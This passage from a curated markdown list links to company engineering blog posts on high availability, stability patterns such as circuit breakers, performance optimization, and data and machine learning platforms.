* [Scryer: Predictive Auto Scaling Engine at Netflix](https://medium.com/netflix-techblog/scryer-netflixs-predictive-auto-scaling-engine-a3f8fc922270)
* [Bouncer: Simple AWS Auto Scaling Rollovers at Palantir](https://medium.com/palantir/bouncer-simple-aws-auto-scaling-rollovers-c5af601d65d4)
* [Clusterman: Autoscaling Mesos Clusters at Yelp](https://engineeringblog.yelp.com/2019/02/autoscaling-mesos-clusters-with-clusterman.html)
* [Availability in Globally Distributed Storage Systems at Google](http://static.googleusercontent.com/media/research.google.com/en/us/pubs/archive/36737.pdf)
* [NodeJS High Availability at Yahoo](https://yahooeng.tumblr.com/post/68823943185/nodejs-high-availability)
* [Operations (11 parts) at LinkedIn](https://www.linkedin.com/pulse/introduction-every-day-monday-operations-benjamin-purgason)
* [Monitoring Powers High Availability for LinkedIn Feed](https://www.usenix.org/conference/srecon17americas/program/presentation/barot)
* [Supporting Global Events at Facebook](https://code.facebook.com/posts/166966743929963/how-production-engineers-support-global-events-on-facebook/)
* [High Availability at BlaBlaCar](https://medium.com/blablacar-tech/the-expendables-backends-high-availability-at-blablacar-8cea3b95b26b)
* [High Availability at Netflix](https://medium.com/@NetflixTechBlog/tips-for-high-availability-be0472f2599c)
* [High Availability Cloud Infrastructure at Twilio](https://www.twilio.com/engineering/2011/12/12/scaling-high-availablity-infrastructure-in-cloud)
* [Automating Datacenter Operations at Dropbox](https://blogs.dropbox.com/tech/2019/01/automating-datacenter-operations-at-dropbox/)
* [Globalizing Player Accounts at Riot Games](https://technology.riotgames.com/news/globalizing-player-accounts)
## Stability
* [Circuit Breaker](https://martinfowler.com/bliki/CircuitBreaker.html)
* [Circuit Breaking in Distributed Systems](https://www.infoq.com/presentations/circuit-breaking-distributed-systems)
* [Circuit Breaker for Scaling Containers](https://f5.com/about-us/blog/articles/the-art-of-scaling-containers-circuit-breakers-28919)
* [Lessons in Resilience at SoundCloud](https://developers.soundcloud.com/blog/lessons-in-resilience-at-SoundCloud)
* [Protector: Circuit Breaker for Time Series Databases at Trivago](http://tech.trivago.com/2016/02/23/protector/)
* [Improved Production Stability with Circuit Breakers at Heroku](https://blog.heroku.com/improved-production-stability-with-circuit-breakers)
* [Circuit Breaker at Zendesk](https://medium.com/zendesk-engineering/the-joys-of-circuit-breaking-ee6584acd687)
* [Circuit Breaker at Traveloka](https://medium.com/traveloka-engineering/circuit-breakers-dont-let-your-dependencies-bring-you-down-5ba1c5cf1eec)
* [Circuit Breaker at Shopify](https://shopify.engineering/circuit-breaker-misconfigured)
* [Timeouts](https://www.javaworld.com/article/2824163/application-performance/stability-patterns-applied-in-a-restful-architecture.html)
* [Fault Tolerance (Timeouts and Retries, Thread Separation, Semaphores, Circuit Breakers) at Netflix](https://medium.com/netflix-techblog/fault-tolerance-in-a-high-volume-distributed-system-91ab4faae74a)
* [Enforce Timeout: A Reliability Methodology at DoorDash](https://doordash.engineering/2018/12/21/enforce-timeout-a-doordash-reliability-methodology/)
* [Troubleshooting a Connection Timeout Issue with tcp_tw_recycle Enabled at eBay](https://www.ebayinc.com/stories/blogs/tech/a-vip-connection-timeout-issue-caused-by-snat-and-tcp-tw-recycle/)
* [Crash-safe Replication for MySQL at Booking.com](https://medium.com/booking-com-infrastructure/better-crash-safe-replication-for-mysql-a336a69b317f)
* [Bulkheads: Partition and Tolerate Failure in One Part](https://skife.org/architecture/fault-tolerance/2009/12/31/bulkheads.html)
* [Steady State: Always Put Logs on Separate Disk](https://docs.microsoft.com/en-us/sql/relational-databases/policy-based-management/place-data-and-log-files-on-separate-drives)
* [Throttling: Maintain a Steady Pace](http://www.sosp.org/2001/papers/welsh.pdf)
* [Multi-Clustering: Improving Resiliency and Stability of a Large-scale Monolithic API Service at LinkedIn](https://engineering.linkedin.com/blog/2017/11/improving-resiliency-and-stability-of-a-large-scale-api)
* [Determinism (4 parts) in League of Legends Server](https://engineering.riotgames.com/news/determinism-league-legends-fixing-divergences)
## Performance
* [Performance Optimization on OS, Storage, Database, Network](https://stackify.com/application-performance-metrics/)
* [Improving Performance with Background Data Prefetching at Instagram](https://engineering.instagram.com/improving-performance-with-background-data-prefetching-b191acb39898)
* [Fixing Linux filesystem performance regressions at LinkedIn](https://engineering.linkedin.com/blog/2020/fixing-linux-filesystem-performance-regressions)
* [Compression Techniques to Solve Network I/O Bottlenecks at eBay](https://www.ebayinc.com/stories/blogs/tech/how-ebays-shopping-cart-used-compression-techniques-to-solve-network-io-bottlenecks/)
* [Optimizing Web Servers for High Throughput and Low Latency at Dropbox](https://blogs.dropbox.com/tech/2017/09/optimizing-web-servers-for-high-throughput-and-low-latency/)
* [Linux Performance Analysis in 60.000 Milliseconds at Netflix](https://medium.com/netflix-techblog/linux-performance-analysis-in-60-000-milliseconds-accc10403c55)
* [Live Downsizing Google Cloud Persistent Disks (PD-SSD) at Mixpanel](https://engineering.mixpanel.com/2018/07/31/live-downsizing-google-cloud-pds-for-fun-and-profit/)
* [Decreasing RAM Usage by 40% Using jemalloc with Python & Celery at Zapier](https://zapier.com/engineering/celery-python-jemalloc/)
* [Reducing Memory Footprint at Slack](https://slack.engineering/reducing-slacks-memory-footprint-4480fec7e8eb)
* [Continuous Load Testing at Slack](https://slack.engineering/continuous-load-testing/)
* [Performance Improvements at Pinterest](https://medium.com/@Pinterest_Engineering/driving-user-growth-with-performance-improvements-cfc50dafadd7)
* [Server Side Rendering at Wix](https://www.youtube.com/watch?v=f9xI2jR71Ms)
* [30x Performance Improvements on MySQLStreamer at Yelp](https://engineeringblog.yelp.com/2018/02/making-30x-performance-improvements-on-yelps-mysqlstreamer.html)
* [Optimizing APIs at Netflix](https://medium.com/netflix-techblog/optimizing-the-netflix-api-5c9ac715cf19)
* [Performance Monitoring with Riemann and Clojure at Walmart](https://medium.com/walmartlabs/performance-monitoring-with-riemann-and-clojure-eafc07fcd375)
* [Performance Tracking Dashboard for Live Games at Zynga](https://www.zynga.com/blogs/engineering/live-games-have-evolving-performance)
* [Optimizing CAL Report Hadoop MapReduce Jobs at eBay](https://www.ebayinc.com/stories/blogs/tech/optimization-of-cal-report-hadoop-mapreduce-job/)
* [Performance Tuning on Quartz Scheduler at eBay](https://www.ebayinc.com/stories/blogs/tech/performance-tuning-on-quartz-scheduler/)
* [Profiling C++ (Part 1: Optimization, Part 2: Measurement and Analysis) at Riot Games](https://engineering.riotgames.com/news/profiling-optimisation)
* [Profiling React Server-Side Rendering at HomeAway](https://medium.com/homeaway-tech-blog/profiling-react-server-side-rendering-to-free-the-node-js-event-loop-7f0fe455a901)
* [Hardware-Assisted Video Transcoding at Dailymotion](https://medium.com/dailymotion-engineering/hardware-assisted-video-transcoding-at-dailymotion-66cd2db448ae)
* [Cross Shard Transactions at 10 Million RPS at Dropbox](https://blogs.dropbox.com/tech/2018/11/cross-shard-transactions-at-10-million-requests-per-second/)
* [API Profiling at Pinterest](https://medium.com/@Pinterest_Engineering/api-profiling-at-pinterest-6fa9333b4961)
* [Pagelets Parallelize Server-side Processing at Yelp](https://engineeringblog.yelp.com/2017/07/generating-web-pages-in-parallel-with-pagelets.html)
* [Improving key expiration in Redis at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/improving-key-expiration-in-redis.html)
* [Ad Delivery Network Performance Optimization with Flame Graphs at MindGeek](https://medium.com/mindgeek-engineering-blog/ad-delivery-network-performance-optimization-with-flame-graphs-bc550cf59cf7)
* [Predictive CPU isolation of containers at Netflix](https://medium.com/netflix-techblog/predictive-cpu-isolation-of-containers-at-netflix-91f014d856c7)
* [Improving HDFS I/O Utilization for Efficiency at Uber](https://eng.uber.com/improving-hdfs-i-o-utilization-for-efficiency/)
* [Cloud Jewels: Estimating kWh in the Cloud at Etsy](https://codeascraft.com/2020/04/23/cloud-jewels-estimating-kwh-in-the-cloud/)
* [Unthrottled: Fixing CPU Limits in the Cloud (2 parts) at Indeed](https://engineering.indeedblog.com/blog/2019/12/unthrottled-fixing-cpu-limits-in-the-cloud/)
* [Performance Optimization by Tuning Garbage Collection](https://confluence.atlassian.com/enterprise/garbage-collection-gc-tuning-guide-461504616.html)
* [Garbage Collection in Java Applications at LinkedIn](https://engineering.linkedin.com/garbage-collection/garbage-collection-optimization-high-throughput-and-low-latency-java-applications)
* [Garbage Collection in High-Throughput, Low-Latency Machine Learning Services at Adobe](https://medium.com/adobetech/engineering-high-throughput-low-latency-machine-learning-services-7d45edac0271)
* [Garbage Collection in Redux Applications at SoundCloud](https://developers.soundcloud.com/blog/garbage-collection-in-redux-applications)
* [Garbage Collection in Go Application at Twitch](https://blog.twitch.tv/go-memory-ballast-how-i-learnt-to-stop-worrying-and-love-the-heap-26c2462549a2)
* [Analyzing V8 Garbage Collection Logs at Alibaba](https://www.linux.com/blog/can-nodejs-scale-ask-team-alibaba)
* [Python Garbage Collection for Dropping 50% Memory Growth Per Request at Instagram](https://instagram-engineering.com/copy-on-write-friendly-python-garbage-collection-ad6ed5233ddf)
* [Performance Impact of Removing Out of Band Garbage Collector (OOBGC) at Github](https://githubengineering.com/removing-oobgc/)
* [Debugging Java Memory Leaks at Allegro](https://allegro.tech/2018/05/a-comedy-of-errors-debugging-java-memory-leaks.html)
* [Optimizing JVM at Alibaba](https://www.youtube.com/watch?v=X4tmr3nhZRg)
* [Tuning JVM Memory for Large-scale Services at Uber](https://eng.uber.com/jvm-tuning-garbage-collection/)
* [Solr Performance Tuning at Walmart](https://medium.com/walmartglobaltech/solr-performance-tuning-beb7d0d0f8d9)
* [Memory Tuning a High Throughput Microservice at Flipkart](https://blog.flipkart.tech/memory-tuning-a-high-throughput-microservice-ed57b3e60997)
* [Performance Optimization on Image, Video, Page Load](https://developers.google.com/web/fundamentals/performance/why-performance-matters/)
* [Optimizing 360 Photos at Scale at Facebook](https://code.facebook.com/posts/129055711052260/optimizing-360-photos-at-scale/)
* [Reducing Image File Size in the Photos Infrastructure at Etsy](https://codeascraft.com/2017/05/30/reducing-image-file-size-at-etsy/)
* [Improving GIF Performance at Pinterest](https://medium.com/@Pinterest_Engineering/improving-gif-performance-on-pinterest-8dad74bf92f1)
* [Optimizing Video Playback Performance at Pinterest](https://medium.com/@Pinterest_Engineering/optimizing-video-playback-performance-caf55ce310d1)
* [Optimizing Video Stream for Low Bandwidth with Dynamic Optimizer at Netflix](https://medium.com/netflix-techblog/optimized-shot-based-encodes-now-streaming-4b9464204830)
* [Adaptive Video Streaming at YouTube](https://youtube-eng.googleblog.com/2018/04/making-high-quality-video-efficient.html)
* [Reducing Video Loading Time at Dailymotion](https://medium.com/dailymotion/reducing-video-loading-time-fa9c997a2294)
* [Improving Homepage Performance at Zillow](https://www.zillow.com/engineering/improving-homepage-performance/)
* [The Process of Optimizing for Client Performance at Expedia](https://medium.com/expedia-engineering/go-fast-or-go-home-the-process-of-optimizing-for-client-performance-57bb497402e)
* [Web Performance at BBC](https://medium.com/bbc-design-engineering/bbc-world-service-web-performance-26b08f7abfcc)
* [Performance Optimization by Brotli Compression](https://blogs.akamai.com/2016/02/understanding-brotlis-potential.html)
* [Boosting Site Speed Using Brotli Compression at LinkedIn](https://engineering.linkedin.com/blog/2017/05/boosting-site-speed-using-brotli-compression)
* [Brotli at Booking.com](https://medium.com/booking-com-development/bookings-journey-with-brotli-978b249d34f3)
* [Brotli at Treebo](https://tech.treebo.com/a-tale-of-brotli-compression-bcb071d9780a)
* [Deploying Brotli for Static Content at Dropbox](https://dropbox.tech/infrastructure/deploying-brotli-for-static-content)
* [Progressive Enhancement with Brotli at Yelp](https://engineeringblog.yelp.com/2017/07/progressive-enhancement-with-brotli.html)
* [Speeding Up Redis with Compression at Doordash](https://doordash.engineering/2019/01/02/speeding-up-redis-with-compression/)
* [Performance Optimization on Languages and Frameworks](https://www.techempower.com/benchmarks/)
* [Python at Netflix](https://netflixtechblog.com/python-at-netflix-bba45dae649e)
* [Python at scale (3 parts) at Instagram](https://instagram-engineering.com/python-at-scale-strict-modules-c0bb9245c834)
* [OCaml best practices (2 parts) at Issuu](https://engineering.issuu.com/2018/12/10/our-current-ocaml-best-practices-part-2)
* [PHP at Slack](https://slack.engineering/taking-php-seriously-cf7a60065329)
* [Go at Trivago](https://tech.trivago.com/2020/03/02/why-we-chose-go/)
* [TypeScript at Etsy](https://codeascraft.com/2021/11/08/etsys-journey-to-typescript/)
* [Kotlin for taming state at Etsy](https://www.etsy.com/sg-en/codeascraft/sealed-classes-opened-my-mind)
* [BPF and Go at Bumble](https://medium.com/bumble-tech/bpf-and-go-modern-forms-of-introspection-in-linux-6b9802682223)
* [Ruby on Rails at GitLab](https://medium.com/gitlab-magazine/why-we-use-ruby-on-rails-to-build-gitlab-601dce4a7a38)
* [Rust in production at Figma](https://medium.com/figma-design/rust-in-production-at-figma-e10a0ec31929)
* [Choosing a Language Stack at WeWork](https://engineering.wework.com/choosing-a-language-stack-cac3726928f6)
* [Switching from Go to Rust at Discord](https://blog.discord.com/why-discord-is-switching-from-go-to-rust-a190bbca2b1f)
* [ASP.NET Core Performance Optimization at Agoda](https://medium.com/agoda-engineering/happy-asp-net-core-performance-optimization-4e21a383d299)
* [Data Race Patterns in Go at Uber](https://eng.uber.com/data-race-patterns-in-go/)
## Intelligence
* [Big Data](https://insights.sei.cmu.edu/sei_blog/2017/05/reference-architectures-for-big-data-systems.html)
* [Data Platform at Uber](https://eng.uber.com/uber-big-data-platform/)
* [Data Platform at BMW](https://www.unibw.de/code/events-u/jt-2018-workshops/ws3_bigdata_vortrag_widmann.pdf)
* [Data Platform at Netflix](https://www.youtube.com/watch?v=CSDIThSwA7s)
* [Data Platform at Flipkart](https://blog.flipkart.tech/overview-of-flipkart-data-platform-20c6d3e9a196)
* [Data Platform at Coupang](https://medium.com/coupang-tech/evolving-the-coupang-data-platform-308e305a9c45)
* [Data Platform at DoorDash](https://doordash.engineering/2020/09/25/how-doordash-is-scaling-its-data-platform/)
* [Data Platform at Khan Academy](http://engineering.khanacademy.org/posts/khanalytics.htm)
* [Data Infrastructure at Airbnb](https://medium.com/airbnb-engineering/data-infrastructure-at-airbnb-8adfb34f169c)
* [Data Infrastructure at LinkedIn](https://www.infoq.com/presentations/big-data-infrastructure-linkedin)
* [Data Infrastructure at GO-JEK](https://blog.gojekengineering.com/data-infrastructure-at-go-jek-cd4dc8cbd929)
* [Data Ingestion Infrastructure at Pinterest](https://medium.com/@Pinterest_Engineering/scalable-and-reliable-data-ingestion-at-pinterest-b921c2ee8754)
* [Data Analytics Architecture at Pinterest](https://medium.com/@Pinterest_Engineering/behind-the-pins-building-analytics-f7b508cdacab)
* [Data Orchestration Service at Spotify](https://engineering.atspotify.com/2022/03/why-we-switched-our-data-orchestration-service/)
* [Big Data Processing (2 parts) at Spotify](https://labs.spotify.com/2017/10/23/big-data-processing-at-spotify-the-road-to-scio-part-2/)
* [Big Data Processing at Uber](https://cdn.oreillystatic.com/en/assets/1/event/160/Big%20data%20processing%20with%20Hadoop%20and%20Spark%2C%20the%20Uber%20way%20Presentation.pdf)
* [Analytics Pipeline at Lyft](https://cdn.oreillystatic.com/en/assets/1/event/269/Lyft_s%20analytics%20pipeline_%20From%20Redshift%20to%20Apache%20Hive%20and%20Presto%20Presentation.pdf)
* [Analytics Pipeline at Grammarly](https://tech.grammarly.com/blog/building-a-versatile-analytics-pipeline-on-top-of-apache-spark)
* [Analytics Pipeline at Teads](https://medium.com/teads-engineering/give-meaning-to-100-billion-analytics-events-a-day-d6ba09aa8f44)
* [ML Data Pipelines for Real-Time Fraud Prevention at PayPal](https://www.infoq.com/presentations/paypal-ml-fraud-prevention-2018)
* [Big Data Analytics and ML Techniques at LinkedIn](https://cdn.oreillystatic.com/en/assets/1/event/269/Big%20data%20analytics%20and%20machine%20learning%20techniques%20to%20drive%20and%20grow%20business%20Presentation%201.pdf)
* [Self-Serve Reporting Platform on Hadoop at LinkedIn](https://cdn.oreillystatic.com/en/assets/1/event/137/Building%20a%20self-serve%20real-time%20reporting%20platform%20at%20LinkedIn%20Presentation%201.pdf)
* [Privacy-Preserving Analytics and Reporting at LinkedIn](https://engineering.linkedin.com/blog/2019/04/privacy-preserving-analytics-and-reporting-at-linkedin)
* [Analytics Platform for Tracking Item Availability at Walmart](https://medium.com/walmartlabs/how-we-build-a-robust-analytics-platform-using-spark-kafka-and-cassandra-lambda-architecture-70c2d1bc8981)
* [HALO: Hardware Analytics and Lifecycle Optimization at Facebook](https://code.fb.com/data-center-engineering/hardware-analytics-and-lifecycle-optimization-halo-at-facebook/)
* [RBEA: Real-time Analytics Platform at King](https://techblog.king.com/rbea-scalable-real-time-analytics-king/)
* [AresDB: GPU-Powered Real-time Analytics Engine at Uber](https://eng.uber.com/aresdb/)
* [AthenaX: Streaming Analytics Platform at Uber](https://eng.uber.com/athenax/)
* [Delta: Data Synchronization and Enrichment Platform at Netflix](https://medium.com/netflix-techblog/delta-a-data-synchronization-and-enrichment-platform-e82c36a79aee)
* [Keystone: Real-time Stream Processing Platform at Netflix](https://medium.com/netflix-techblog/keystone-real-time-stream-processing-platform-a3ee651812a)
* [Databook: Turning Big Data into Knowledge with Metadata at Uber](https://eng.uber.com/databook/)
* [Amundsen: Data Discovery & Metadata Engine at Lyft](https://eng.lyft.com/amundsen-lyfts-data-discovery-metadata-engine-62d27254fbb9)
* [Maze: Funnel Visualization Platform at Uber](https://eng.uber.com/maze/)
* [Metacat: Making Big Data Discoverable and Meaningful at Netflix](https://medium.com/netflix-techblog/metacat-making-big-data-discoverable-and-meaningful-at-netflix-56fb36a53520)
* [SpinalTap: Change Data Capture System at Airbnb](https://medium.com/airbnb-engineering/capturing-data-evolution-in-a-service-oriented-architecture-72f7c643ee6f)
* [Accelerator: Fast Data Processing Framework at eBay](https://www.ebayinc.com/stories/blogs/tech/announcing-the-accelerator-processing-1-000-000-000-lines-per-second-on-a-single-computer/)
* [Omid: Transaction Processing Platform at Yahoo](https://yahooeng.tumblr.com/post/180867271141/a-new-chapter-for-omid)
* [TensorFlowOnSpark: Distributed Deep Learning on Big Data Clusters at Yahoo](https://yahooeng.tumblr.com/post/157196488076/open-sourcing-tensorflowonspark-distributed-deep)
* [CaffeOnSpark: Distributed Deep Learning on Big Data Clusters at Yahoo](https://yahooeng.tumblr.com/post/139916828451/caffeonspark-open-sourced-for-distributed-deep)
* [Spark on Scala: Analytics Reference Architecture at Adobe](https://medium.com/adobetech/spark-on-scala-adobe-analytics-reference-architecture-7457f5614b4c)
* [Experimentation Platform (2 parts) at Spotify](https://engineering.atspotify.com/2020/11/02/spotifys-new-experimentation-platform-part-2/)
* [Experimentation Platform at Airbnb](https://medium.com/airbnb-engineering/https-medium-com-jonathan-parks-scaling-erf-23fd17c91166)
* [Smart Product Platform at Zalando](https://jobs.zalando.com/tech/blog/zalando-smart-product-platform/?gh_src=4n3gxh1)
* [Log Analysis Platform at LINE](https://www.slideshare.net/wyukawa/strata2017-sg)
* [Data Visualisation Platform at Myntra](https://medium.com/myntra-engineering/universal-dashboarding-platform-udp-data-visualisation-platform-at-myntra-5f2522fcf72d)
* [Building and Scaling Data Lineage at Netflix](https://medium.com/netflix-techblog/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977)
* [Building a scalable data management system for computer vision tasks at Pinterest](https://medium.com/@Pinterest_Engineering/building-a-scalable-data-management-system-for-computer-vision-tasks-a6dee8f1c580)
* [Structured Data at Etsy](https://codeascraft.com/2019/07/31/an-introduction-to-structured-data-at-etsy/)
* [Scaling a Mature Data Pipeline - Managing Overhead at Airbnb](https://medium.com/airbnb-engineering/scaling-a-mature-data-pipeline-managing-overhead-f34835cbc866)
* [Spark Partitioning Strategies at Airbnb](https://medium.com/airbnb-engineering/on-spark-hive-and-small-files-an-in-depth-look-at-spark-partitioning-strategies-a9a364f908)
* [Scaling the Hadoop Distributed File System at LinkedIn](https://engineering.linkedin.com/blog/2021/the-exabyte-club--linkedin-s-journey-of-scaling-the-hadoop-distr)
* [Scaling Hadoop YARN cluster beyond 10,000 nodes at LinkedIn](https://engineering.linkedin.com/blog/2021/scaling-linkedin-s-hadoop-yarn-cluster-beyond-10-000-nodes)
* [Scaling Big Data Access Controls at Pinterest](https://medium.com/pinterest-engineering/securely-scaling-big-data-access-controls-at-pinterest-bbc3406a1695)
* [Distributed Machine Learning](https://www.csie.ntu.edu.tw/~cjlin/talks/bigdata-bilbao.pdf)
* [Machine Learning Platform at Uber](https://eng.uber.com/michelangelo/)
* [Machine Learning Platform at Yelp](https://engineeringblog.yelp.com/2020/07/ML-platform-overview.html)
* [Machine Learning Platform at Etsy](https://codeascraft.com/2021/12/21/redesigning-etsys-machine-learning-platform/)
* [Platform for Serving Recommendations at Etsy](https://www.etsy.com/sg-en/codeascraft/building-a-platform-for-serving-recommendations-at-etsy)
* [Infrastructure to Run User Forecasts at Spotify](https://engineering.atspotify.com/2022/06/how-we-built-infrastructure-to-run-user-forecasts-at-spotify/)
* [Aroma: Using ML for Code Recommendation at Facebook](https://code.fb.com/developer-tools/aroma/)
* [Flyte: Cloud Native Machine Learning and Data Processing Platform at Lyft](https://eng.lyft.com/introducing-flyte-cloud-native-machine-learning-and-data-processing-platform-fb2bb3046a59)
* [LyftLearn: ML Model Training Infrastructure built on Kubernetes at Lyft](https://eng.lyft.com/lyftlearn-ml-model-training-infrastructure-built-on-kubernetes-aef8218842bb)
* [Horovod: Open Source Distributed Deep Learning Framework for TensorFlow at Uber](https://eng.uber.com/horovod/)
* [COTA: Improving Customer Care with NLP & Machine Learning at Uber](https://eng.uber.com/cota/)
* [Manifold: Model-Agnostic Visual Debugging Tool for Machine Learning at Uber](https://eng.uber.com/manifold/)
* [Repo-Topix: Topic Extraction Framework at Github](https://githubengineering.com/topics/)
* [Concourse: Generating Personalized Content Notifications in Near-Real-Time at LinkedIn](https://engineering.linkedin.com/blog/2018/05/concourse--generating-personalized-content-notifications-in-near)
* [Altus Care: Applying a Chatbot to Platform Engineering at eBay](https://www.ebayinc.com/stories/blogs/tech/altus-care-apply-chatbot-to-ebay-platform-engineering/)
* [PyKrylov: Accelerating Machine Learning Research at eBay](https://tech.ebayinc.com/engineering/pykrylov-accelerating-machine-learning-research-at-ebay/)
* [Box Graph: Spontaneous Social Network at Box](https://blog.box.com/blog/box-graph-how-we-built-spontaneous-social-network/)
* [PricingNet: Pricing Modelling with Neural Networks at Skyscanner](https://hackernoon.com/pricingnet-modelling-the-global-airline-industry-with-neural-networks-833844d20ea6)
* [PinText: Multitask Text Embedding System at Pinterest](https://medium.com/pinterest-engineering/pintext-a-multitask-text-embedding-system-in-pinterest-b80ece364555)
* [SearchSage: Learning Search Query Representations at Pinterest](https://medium.com/pinterest-engineering/searchsage-learning-search-query-representations-at-pinterest-654f2bb887fc)
* [Cannes: ML saves $1.7M a year on document previews at Dropbox](https://dropbox.tech/machine-learning/cannes--how-ml-saves-us--1-7m-a-year-on-document-previews)
* [Scaling Gradient Boosted Trees for Click-Through-Rate Prediction at Yelp](https://engineeringblog.yelp.com/2018/01/building-a-distributed-ml-pipeline-part1.html)
* [Learning with Privacy at Scale at Apple](https://machinelearning.apple.com/2017/12/06/learning-with-privacy-at-scale.html)
* [Deep Learning for Image Classification Experiment at Mercari](https://medium.com/mercari-engineering/mercaris-image-classification-experiment-using-deep-learning-9b4e994a18ec)
* [Deep Learning for Frame Detection in Product Images at Allegro](https://allegro.tech/2016/12/deep-learning-for-frame-detection.html)
* [Content-based Video Relevance Prediction at Hulu](https://medium.com/hulu-tech-blog/content-based-video-relevance-prediction-b2c448e14752)
* [Improving Photo Selection With Deep Learning at TripAdvisor](http://engineering.tripadvisor.com/improving-tripadvisor-photo-selection-deep-learning/)
* [Personalized Recommendations for Experiences Using Deep Learning at TripAdvisor](https://www.tripadvisor.com/engineering/personalized-recommendations-for-experiences-using-deep-learning/)
* [Personalised Recommender Systems at BBC](https://medium.com/bbc-design-engineering/developing-personalised-recommender-systems-at-the-bbc-e26c5e0c4216)
* [Machine Learning (2 parts) at Condé Nast](https://technology.condenast.com/story/handbag-brand-and-color-detection)
* [Natural Language Processing and Content Analysis (2 parts) at Condé Nast](https://technology.condenast.com/story/natural-language-processing-and-content-analysis-at-conde-nast-part-2-system-architecture)
* [Mapping the World of Music Using Machine Learning (2 parts) at iHeartRadio](https://tech.iheart.com/mapping-the-world-of-music-using-machine-learning-part-2-aa50b6a0304c)
* [Machine Learning to Improve Streaming Quality at Netflix](https://medium.com/netflix-techblog/using-machine-learning-to-improve-streaming-quality-at-netflix-9651263ef09f)
* [Machine Learning to Match Drivers & Riders at GO-JEK](https://blog.gojekengineering.com/how-we-use-machine-learning-to-match-drivers-riders-b06d617b9e5)
* [Improving Video Thumbnails with Deep Neural Nets at YouTube](https://youtube-eng.googleblog.com/2015/10/improving-youtube-video-thumbnails-with_8.html)
* [Quantile Regression for Delivering On Time at Instacart](https://tech.instacart.com/how-instacart-delivers-on-time-using-quantile-regression-2383e2e03edb)
* [Cross-Lingual End-to-End Product Search with Deep Learning at Zalando](https://jobs.zalando.com/tech/blog/search-deep-neural-network/)
* [Machine Learning at Jane Street](https://blog.janestreet.com/real-world-machine-learning-part-1/)
* [Machine Learning for Ranking Answers End-to-End at Quora](https://engineering.quora.com/A-Machine-Learning-Approach-to-Ranking-Answers-on-Quora)
* [Clustering Similar Stories Using LDA at Flipboard](http://engineering.flipboard.com/2017/02/storyclustering)
* [Similarity Search at Flickr](https://code.flickr.net/2017/03/07/introducing-similarity-search-at-flickr/)
* [Large-Scale Machine Learning Pipeline for Job Recommendations at Indeed](http://engineering.indeedblog.com/blog/2016/04/building-a-large-scale-machine-learning-pipeline-for-job-recommendations/)
* [Deep Learning from Prototype to Production at Taboola](http://engineering.taboola.com/deep-learning-from-prototype-to-production/)
* [Atom Smashing using Machine Learning at CERN](https://cdn.oreillystatic.com/en/assets/1/event/144/Atom%20smashing%20using%20machine%20learning%20at%20CERN%20Presentation.pdf)
* [Mapping Tags at Medium](https://medium.engineering/mapping-mediums-tags-1b9a78d77cf0)
* [Clustering with the Dirichlet Process Mixture Model in Scala at Monsanto](http://engineering.monsanto.com/2015/11/23/chinese-restaurant-process/)
* [Map Pins with DBSCAN & Random Forests at Foursquare](https://engineering.foursquare.com/you-are-probably-here-better-map-pins-with-dbscan-random-forests-9d51e8c1964d)
* [Forecasting at Uber](https://eng.uber.com/forecasting-introduction/)
* [Financial Forecasting at Uber](https://eng.uber.com/transforming-financial-forecasting-machine-learning/)
* [Productionizing ML with Workflows at Twitter](https://blog.twitter.com/engineering/en_us/topics/insights/2018/ml-workflows.html)
* [GUI Testing Powered by Deep Learning at eBay](https://www.ebayinc.com/stories/blogs/tech/gui-testing-powered-by-deep-learning/)
* [Scaling Machine Learning to Recommend Driving Routes at Pivotal](http://engineering.pivotal.io/post/scaling-machine-learning-to-recommend-driving-routes/)
* [Real-Time Predictions at DoorDash](https://www.infoq.com/presentations/doordash-real-time-predictions)
* [Machine Intelligence at Dropbox](https://blogs.dropbox.com/tech/2018/09/machine-intelligence-at-dropbox-an-update-from-our-dbxi-team/)
* [Machine Learning for Indexing Text from Billions of Images at Dropbox](https://blogs.dropbox.com/tech/2018/10/using-machine-learning-to-index-text-from-billions-of-images/)
* [Modeling User Journeys via Semantic Embeddings at Etsy](https://codeascraft.com/2018/07/12/modeling-user-journey-via-semantic-embeddings/)
* [Automated Fake Account Detection at LinkedIn](https://engineering.linkedin.com/blog/2018/09/automated-fake-account-detection-at-linkedin)
* [Building Knowledge Graph at Airbnb](https://medium.com/airbnb-engineering/contextualizing-airbnb-by-building-knowledge-graph-b7077e268d5a)
* [Core Modeling at Instagram](https://instagram-engineering.com/core-modeling-at-instagram-a51e0158aa48)
* [Neural Architecture Search (NAS) for Prohibited Item Detection at Mercari](https://tech.mercari.com/entry/2019/04/26/163000)
* [Computer Vision at Airbnb](https://medium.com/airbnb-engineering/amenity-detection-and-beyond-new-frontiers-of-computer-vision-at-airbnb-144a4441b72e)
* [3D Home Backend Algorithms at Zillow](https://www.zillow.com/engineering/behind-zillow-3d-home-backend-algorithms/)
* [Long-term Forecasts at Lyft](https://eng.lyft.com/making-long-term-forecasts-at-lyft-fac475b3ba52)
* [Discovering Popular Dishes with Deep Learning at Yelp](https://engineeringblog.yelp.com/2019/10/discovering-popular-dishes-with-deep-learning.html)
* [SplitNet Architecture for Ad Candidate Ranking at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/splitnet-architecture-for-ad-candidate-ranking.html)
* [Jobs Filter at Indeed](https://engineering.indeedblog.com/blog/2019/09/jobs-filter/)
* [Architecting Restaurant Wait Time Predictions at Yelp](https://engineeringblog.yelp.com/2019/12/architecting-wait-time-estimations.html)
* [Music Personalization at Spotify](https://labs.spotify.com/2016/08/07/commodity-music-ml-services/)
* [Deep Learning for Domain Name Valuation at GoDaddy](https://sg.godaddy.com/engineering/2019/07/26/domain-name-valuation/)
* [Similarity Clustering to Catch Fraud Rings at Stripe](https://stripe.com/blog/similarity-clustering)
* [Personalized Search at Etsy](https://codeascraft.com/2020/10/29/bringing-personalized-search-to-etsy/)
* [ML Feature Serving Infrastructure at Lyft](https://eng.lyft.com/ml-feature-serving-infrastructure-at-lyft-d30bf2d3c32a)
* [Context-Specific Bidding System at Etsy](https://codeascraft.com/2021/03/23/how-we-built-a-context-specific-bidding-system-for-etsy-ads/)
* [Moderating Promotional Spam and Inappropriate Content in Photos at Scale at Yelp](https://engineeringblog.yelp.com/2021/05/moderating-promotional-spam-and-inappropriate-content-in-photos-at-scale-at-yelp.html)
* [Optimizing Payments with Machine Learning at Dropbox](https://dropbox.tech/machine-learning/optimizing-payments-with-machine-learning)
* [Scaling Media Machine Learning at Netflix](https://netflixtechblog.com/scaling-media-machine-learning-at-netflix-f19b400243)
